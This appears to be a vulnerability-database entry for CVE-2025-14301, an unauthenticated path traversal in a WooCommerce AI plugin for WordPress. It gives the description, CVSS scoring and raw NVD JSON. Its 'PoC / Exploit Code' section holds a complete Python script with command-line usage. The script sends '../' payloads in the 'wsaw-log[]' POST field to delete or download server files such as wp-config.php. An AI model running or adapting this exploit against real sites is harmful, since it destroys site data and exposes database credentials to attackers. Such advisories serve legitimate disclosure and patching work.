Security Vulnerability Report
中文
CVE-2025-14301 CVSS 9.8 CRITICAL

CVE-2025-14301

Published: 2026-01-14 06:15:52
Last Modified: 2026-04-15 00:35:42

Description

The Integration Opvius AI for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.0. This is due to the `process_table_bulk_actions()` function processing user-supplied file paths without authentication checks, nonce verification, or path validation. This makes it possible for unauthenticated attackers to delete or download arbitrary files on the server via the `wsaw-log[]` POST parameter, which can be leveraged to delete critical files like `wp-config.php` or read sensitive configuration files.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Integration Opvius AI for WooCommerce <= 1.3.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-14301 PoC - Path Traversal in Opvius AI for WooCommerce # Target: WordPress site with Integration Opvius AI for WooCommerce <= 1.3.0 def exploit(target_url, action='delete', file_path='wp-config.php'): """ Exploit path traversal vulnerability action: 'delete' or 'download' file_path: Target file to delete/download (e.g., ../../../wp-config.php) """ # Construct path traversal payload payload_path = '../../../' * 3 + file_path # Target endpoint (typically admin-post.php or ajax handler) endpoint = target_url.rstrip('/') + '/wp-admin/admin-post.php' # Build POST data data = { 'action': 'process_table_bulk_actions', # Vulnerable function 'wsaw-log[]': payload_path, 'bulk_action': action } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (compatible; CVE-2025-14301-PoC)' } try: print(f'[*] Target: {endpoint}') print(f'[*] Action: {action}') print(f'[*] Target file: {file_path}') print(f'[*] Payload path: {payload_path}') response = requests.post(endpoint, data=data, headers=headers, timeout=10) print(f'[+] Response status: {response.status_code}') print(f'[+] Response length: {len(response.text)}') if response.status_code == 200: print('[!] Request sent - verify file deletion manually') return response except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return None if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: python {sys.argv[0]} <target_url> [action] [file]') print('Example: python cve-2025-14301.py http://target.com delete wp-config.php') sys.exit(1) target = sys.argv[1] action = sys.argv[2] if len(sys.argv) > 2 else 'delete' file_path = sys.argv[3] if len(sys.argv) > 3 else 'wp-config.php' exploit(target, action, file_path)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14301", "sourceIdentifier": "[email protected]", "published": "2026-01-14T06:15:51.977", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Integration Opvius AI for WooCommerce plugin for WordPress is vulnerable to Path Traversal in all versions up to, and including, 1.3.0. This is due to the `process_table_bulk_actions()` function processing user-supplied file paths without authentication checks, nonce verification, or path validation. This makes it possible for unauthenticated attackers to delete or download arbitrary files on the server via the `wsaw-log[]` POST parameter, which can be leveraged to delete critical files like `wp-config.php` or read sensitive configuration files."}, {"lang": "es", "value": "El plugin Integration Opvius AI para WooCommerce para WordPress es vulnerable a salto de ruta en todas las versiones hasta la 1.3.0, inclusive. Esto se debe a que la función 'process_table_bulk_actions()' procesa rutas de archivo proporcionadas por el usuario sin comprobaciones de autenticación, verificación de nonce o validación de ruta. Esto permite a atacantes no autenticados eliminar o descargar archivos arbitrarios en el servidor a través del parámetro POST 'wsaw-log[]', lo que puede aprovecharse para eliminar archivos críticos como 'wp-config.php' o leer archivos de configuración sensibles."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/woosa-ai-for-woocommerce/tags/1.3.0/vendor/woosa/logger/class-module-logger-hook.php#L160", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woosa-ai-for-woocommerce/tags/1.3.0/vendor/woosa/logger/class-module-logger-hook.php#L25", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woosa-ai-for-woocommerce/tags/1.3.0/vendor/woosa/logger/class-module-logger-hook.php#L41", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/woosa-ai-for-woocommerce/tags/1.3.0/vendor/woosa/logger/class-module-logger-hook.php#L79", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/34612902-1a26-4759-bca6-b5aaffa25af4?source=cve", "source": "[email protected]"}]}}